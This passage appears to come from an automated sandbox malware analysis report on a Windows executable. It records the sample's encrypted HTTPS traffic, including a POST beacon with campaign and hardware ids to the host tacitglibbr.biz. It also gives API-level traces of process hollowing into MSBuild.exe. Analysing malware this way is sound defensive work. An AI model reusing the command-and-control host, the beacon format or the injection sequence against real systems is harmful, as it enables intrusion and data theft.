2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: 9d 3f f6 f8 1b dd 1a 71 06 da 3a 7e 18 f2 ff 18 1b 11 d0 cd db 96 be 41 d5 0f da e0 7c a9 6c af fd 54 a9 65 84 da 5a a2 b6 8e 43 19 29 66 b4 a3 89 78 ca 40 d0 f0 78 44 e5 f0 e1 79 8b 85 9b 9f b7 2f f5 78 0c b6 ff 5c cd af 9e 4e 6f af c8 e3 ac 5d 65 e6 05 19 ca 93 e8 1a 86 a8 18 51 46 33 75 39 77 b3 b9 36 82 16 ce e4 84 26 6d 0e dd 4e 48 ab de e6 2c 0c 9e c7 41 0b 37 e3 e2 22 15 c0 cf 4d 1f 1c 72 78 a6 ce 75 9c ed cf 0c a7 15 86 77 7c 5c a4 63 0c 51 61 b5 a1 2c b6 59 8e 3a 70 aa bc fe 32 f4 2b 92 f6 76 17 63 e1 01 67 fd 2c 34 bf fd bb 25 7a fe 6e 1e 57 2e b2 b6 bf 40 4b b1 79 3d d2 44 aa fe ec e2 60 f5 fe 90 17 9d db 92 10 7d b0 d2 c0 10 08 d0 f7 6b 30 60 fc 6f 79 1d 50 81 3c 02 87 02 ca cd 3c 71 d2 ec b9 1f 1f d5 2b ca 2e 9c ed fa 2d 2b d2 5f 7c 8c a4 af Data Ascii: ?q:~A\|lTeZC)fx@xDy/x\No]eQF3u9w6&mNH,A7"Mrxuw\|\cQa,Y:p2+vcg,4%znW.@Ky=D`}k0`oyP<<q+.-+_\|
2024-12-17 08:45:05 UTC	1050	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fpc7ul0qav8jo330egj6fao2d3; expires=Sat, 12-Apr-2025 02:31:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e7wJYzJnXzBcNi%2B%2FsS0vQHNWjNI2%2B%2BSvzgUWa%2BPEqjzBs7OmX32mXMKUow8PafjA0KhAY9EvJIHjxfCqrhPiQsNNatN9KJL6ZbN8fTMatxq%2B%2F6YaGEiP4vr0rHIlKBNibwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a27f09184319-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1620&rtt_var=639&sent=316&recv=585&lost=0&retrans=0&sent_bytes=2840&recv_bytes=554344&delivery_rate=1802469&cwnd=233&unsent_bytes=0&cid=962f0636cd91003a&ts=2463&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:45:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: tacitglibbr.biz
2024-12-17 08:45:06 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 26 6a 3d 26 68 77 69 64 3d 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--7911731954&j=&hwid=88FE57294B3FC45EE430B6CE554835A9
2024-12-17 08:45:07 UTC	1032	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kuimc5j7ejo99qc21q9k1srtd7; expires=Sat, 12-Apr-2025 02:31:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mzcm0qllC2APo3mKC8CWNjcUW2uFuhEKK19YZZVpblZPsPT%2FtBE18%2Bc4k2qPuRyQkhhwF5egPxJ0mIMgEoo6x2jQGTzxtdGRFFvxl7YEEOC2IORfkeevmDHjlf8hEKxmAP0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a296bfa17287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1858&min_rtt=1841&rtt_var=724&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=986&delivery_rate=1476985&cwnd=191&unsent_bytes=0&cid=6894e557e5ef6776&ts=751&x=0"
2024-12-17 08:45:07 UTC	54	IN	Data Raw: 33 30 0d 0a 72 6c 78 35 77 72 32 62 6f 62 61 4f 78 45 6e 33 4b 63 51 4a 69 64 69 4f 41 6f 66 30 65 6d 58 57 75 52 35 42 61 6c 57 4a 53 72 44 31 41 51 3d 3d 0d 0a Data Ascii: 30rlx5wr2bobaOxEn3KcQJidiOAof0emXWuR5BalWJSrD1AQ==
2024-12-17 08:45:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:44:39
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\X2hna87N3Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\X2hna87N3Y.exe"
Imagebase:	0xd80000
File size:	800'256 bytes
MD5 hash:	443F4CF9F362A96BBD0845BA6D2859F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:44:40
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:44:43
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\X2hna87N3Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\X2hna87N3Y.exe"
Imagebase:	0xd80000
File size:	800'256 bytes
MD5 hash:	443F4CF9F362A96BBD0845BA6D2859F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	2.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00DB21A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00DB211B,00DB210B), ref: 00DB233F
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00DB2352
Wow64GetThreadContext.KERNEL32(0000008C,00000000), ref: 00DB2370
ReadProcessMemory.KERNELBASE(00000138,?,00DB215F,00000004,00000000), ref: 00DB2394
VirtualAllocEx.KERNELBASE(00000138,?,?,00003000,00000040), ref: 00DB23BF
WriteProcessMemory.KERNELBASE(00000138,00000000,?,?,00000000,?), ref: 00DB2417
WriteProcessMemory.KERNELBASE(00000138,00400000,?,?,00000000,?,00000028), ref: 00DB2462
WriteProcessMemory.KERNELBASE(00000138,?,?,00000004,00000000), ref: 00DB24A0
Wow64SetThreadContext.KERNEL32(0000008C,00D70000), ref: 00DB24DC
ResumeThread.KERNELBASE(0000008C), ref: 00DB24EB

Strings

SetThreadContext, xrefs: 00DB22CD
GetThreadContext, xrefs: 00DB2281
ReadProcessMemory, xrefs: 00DB2294
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00DB233E
aryA, xrefs: 00DB21ED
VirtualAllocEx, xrefs: 00DB22A7
Load, xrefs: 00DB21E5
ResumeThread, xrefs: 00DB22E3
WriteProcessMemory, xrefs: 00DB22BA
CreateProcessW, xrefs: 00DB225B
ress, xrefs: 00DB2231
VirtualAlloc, xrefs: 00DB226E
GetP, xrefs: 00DB2229
TerminateProcess, xrefs: 00DB23CE

Memory Dump Source

Source File: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: c401c7c4eed8237b087d88cc671c4cd657f927fc33073c425b251e2272dd053b
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: ADB1F77660064AEFDB60CF68CC80BEA73A5FF88714F158514EA09AB341D774FA51CBA4

Function 00D98362 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,6FF93721,?,00D98471,?,?,00000000), ref: 00D98423

Strings

api-ms-, xrefs: 00D983B9
ext-ms-, xrefs: 00D983CD

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: da0c58385fdda4a67463141e9f7083aeb518aed811c8580e53b9e602badc82ae
Instruction ID: bacdf6155509dc8be18f8ee99360d623ce22004bd56c8a94474ecdc33e326e93
Opcode Fuzzy Hash: da0c58385fdda4a67463141e9f7083aeb518aed811c8580e53b9e602badc82ae
Instruction Fuzzy Hash: 6421C331A01315EBDF219B65EC44A5F3B59AF46BA0F290221E951E7391DB30ED01D6F0

Function 00DB57C0 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00DB5843
GetFileSize.KERNEL32 ref: 00DB5872
CloseHandle.KERNEL32 ref: 00DB588E

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 7393ef3a266840ecfb28bafa78b5fbde04fc02a3c87046dfa455003385cd42a0
Instruction ID: d36972b7b1b45452316c96974dc5d16a88178b67316fb41438f00e4ea8c49c43
Opcode Fuzzy Hash: 7393ef3a266840ecfb28bafa78b5fbde04fc02a3c87046dfa455003385cd42a0
Instruction Fuzzy Hash: F4719DB4D04648CFDB10EFA8D588B9DBBF0BF48314F508529E499AB345D734A949CF62

Function 00DB52D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00DB5450
GetLastError.KERNEL32 ref: 00DB54D6

Strings

[+], xrefs: 00DB54AC

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: DispatcherErrorExceptionLastUser
String ID: [+]
API String ID: 2542788420-4228040803
Opcode ID: 0599dd6577e283322f880aa0d72cead4a6067a46b4a9fa9e760488837054fcc7
Instruction ID: bebea69b8ce9923d095444d6482f92dc2abf4670e02574bd3305f18181162d5c
Opcode Fuzzy Hash: 0599dd6577e283322f880aa0d72cead4a6067a46b4a9fa9e760488837054fcc7
Instruction Fuzzy Hash: E87138B494522DCBCB64EF68D8987E9BBF0AF28304F1044E9E88D97351D6749AC4CF61

Function 00DB5660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00DB56CA

Part of subcall function 00DB52D0: KiUserExceptionDispatcher.NTDLL ref: 00DB5450

Part of subcall function 00DB52D0: GetLastError.KERNEL32 ref: 00DB54D6

VirtualProtect.KERNELBASE ref: 00DB577A

Strings

@, xrefs: 00DB576E

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ConsoleDispatcherErrorExceptionFreeLastProtectUserVirtual
String ID: @
API String ID: 1907986952-2766056989
Opcode ID: b56dada036ecd8eac7e2deeb6d6fce723371349a44208d5ca908306eade98b94
Instruction ID: 8048022a33b03646edbcda1903b209a1eb7bb92fe3edc53de0fadb905393b392
Opcode Fuzzy Hash: b56dada036ecd8eac7e2deeb6d6fce723371349a44208d5ca908306eade98b94
Instruction Fuzzy Hash: D741DCB0A01308DFDB04EFA9E4856DEBBF0EF48314F508519E459AB350D775A944CFA1

Function 00D91131 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00011249,00000000,?,?), ref: 00D9117A
GetLastError.KERNEL32(?,00000000,00000000,?,00D887F7), ref: 00D91186
__dosmaperr.LIBCMT ref: 00D9118D

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 42ca48ce48cf8fc358458ce669de7b0427ef1685e330a331c21387ec5d5895a9
Instruction ID: 2dda4c0fd573d6f12c3103a36390174e9c7cb8f3f64be188fcffdc7c0e6ce86c
Opcode Fuzzy Hash: 42ca48ce48cf8fc358458ce669de7b0427ef1685e330a331c21387ec5d5895a9
Instruction Fuzzy Hash: 93015E7A60031AFFDF15AFA1DC06AAE3BA9EF00364F104158F901A6250DB71DE50EBB0

Function 00D9EF5F Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D9F309: GetConsoleOutputCP.KERNEL32(6FF93721,00000000,00000000,?), ref: 00D9F36C

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00D9434B,?), ref: 00D9F0E4
GetLastError.KERNEL32(?,?,00D9434B,?,00D9458F,00000000,?,00000000,00D9458F,?,?,?,00DB16F0,0000002C,00D9447B,?), ref: 00D9F0EE

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 2839346c8533af153f96f6b0e8153a4638127b7b16bf3b111813d53bcdbee086
Instruction ID: cc7385be9fe45468e3fe1b4d59745d6cd4e1c6f09eb28ae64fc0bba935c090d3
Opcode Fuzzy Hash: 2839346c8533af153f96f6b0e8153a4638127b7b16bf3b111813d53bcdbee086
Instruction Fuzzy Hash: 4C618E71904219EFDF11DFA8C884AAEBBBAAF49304F190165E904E7252D376DA11DBB0

Function 00D9F738 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00D9F0CA,00000000,00D9458F,?,00000000,?,00000000), ref: 00D9F7D4
GetLastError.KERNEL32(?,00D9F0CA,00000000,00D9458F,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00D9434B), ref: 00D9F7FA

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 89b71b53d406de64f16557647a705ae995ffd51a6ec38863e9a07ada5d824df9
Instruction ID: 6f3923f3571506b8e7de811ff7ec028ce3171d879315968739bc85e5a0191b36
Opcode Fuzzy Hash: 89b71b53d406de64f16557647a705ae995ffd51a6ec38863e9a07ada5d824df9
Instruction Fuzzy Hash: D2218B75A00219DBCF19CF69DC809E9B7F9EF48305F2441AAE946D7211D730DE828B70

Function 00D98E82 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00D98D71,00DB1A10), ref: 00D98ECE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00D98D71,00DB1A10), ref: 00D98EE0

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2ebe3586f262f26ae613f3413dd2a8be77239087630994fcb4ef8dc7f436e47b
Instruction ID: cd308b28f9c9a9401e4698144ff615f79513c2320269e2c6be854ee124ce8da9
Opcode Fuzzy Hash: 2ebe3586f262f26ae613f3413dd2a8be77239087630994fcb4ef8dc7f436e47b
Instruction Fuzzy Hash: 9F11B4716047418ACF308E3E8C98622BA959B67B30B3C1719E4B6D65F1CB35D986F264

Function 00DB5B10 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00DB5B38
GetModuleFileNameA.KERNEL32 ref: 00DB5B58

Part of subcall function 00D81690: std::_Throw_Cpp_error.LIBCPMT ref: 00D816BD
Part of subcall function 00D81690: GetCurrentThreadId.KERNEL32 ref: 00D816CB
Part of subcall function 00D81690: std::_Throw_Cpp_error.LIBCPMT ref: 00D816E4
Part of subcall function 00D81690: std::_Throw_Cpp_error.LIBCPMT ref: 00D81723

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Module$CurrentFileHandleNameThread
String ID:
API String ID: 1246727395-0
Opcode ID: 0540fef431cea80bb5f1a6adb6c11ffce954689449985e80f7d4425653697561
Instruction ID: a9aa587a3b388f3aec24e1413883b663a6dcb34c7592702f41cf903c90d9569f
Opcode Fuzzy Hash: 0540fef431cea80bb5f1a6adb6c11ffce954689449985e80f7d4425653697561
Instruction Fuzzy Hash: B211C9B4904218CFCB54FF68D9467DDBBF4EB48700F4049A9E48997350EA745A848FA1

Function 00D91249 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00DB1540,0000000C), ref: 00D9125C
ExitThread.KERNEL32 ref: 00D91263

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 5aa0239b223a9ea5534d019e0e1bfec8a5ee9051eefb936836e1500588a58097
Instruction ID: 80451469aa6680f75569a798636df0a558bb784be94db7261cad372599d85319
Opcode Fuzzy Hash: 5aa0239b223a9ea5534d019e0e1bfec8a5ee9051eefb936836e1500588a58097
